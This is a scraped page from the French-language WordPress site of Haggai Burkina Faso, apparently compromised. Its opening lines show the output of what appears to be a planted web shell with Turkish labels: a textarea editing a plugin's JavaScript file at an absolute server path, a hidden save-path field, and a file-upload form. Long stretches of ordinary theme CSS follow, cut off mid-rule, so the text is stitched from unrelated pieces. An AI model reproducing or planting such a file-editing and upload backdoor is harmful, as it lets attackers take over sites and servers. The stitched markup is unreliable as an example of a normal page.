	}else if( (sel = doc.selection) &amp;&amp; sel.type != &quot;Control&quot; ){
		var textRange = sel.createRange();
		var preCaretTextRange = doc.body.createTextRange();
		preCaretTextRange.moveToElementText(element);
		preCaretTextRange.setEndPoint(&quot;EndToEnd&quot;, textRange);
		caretOffset = preCaretTextRange.text.length;
	}
	return caretOffset;
}
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-content/plugins/pagelayer/js/pagelayer-editor.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Tableau de bord | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d01d0bbbe2*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password 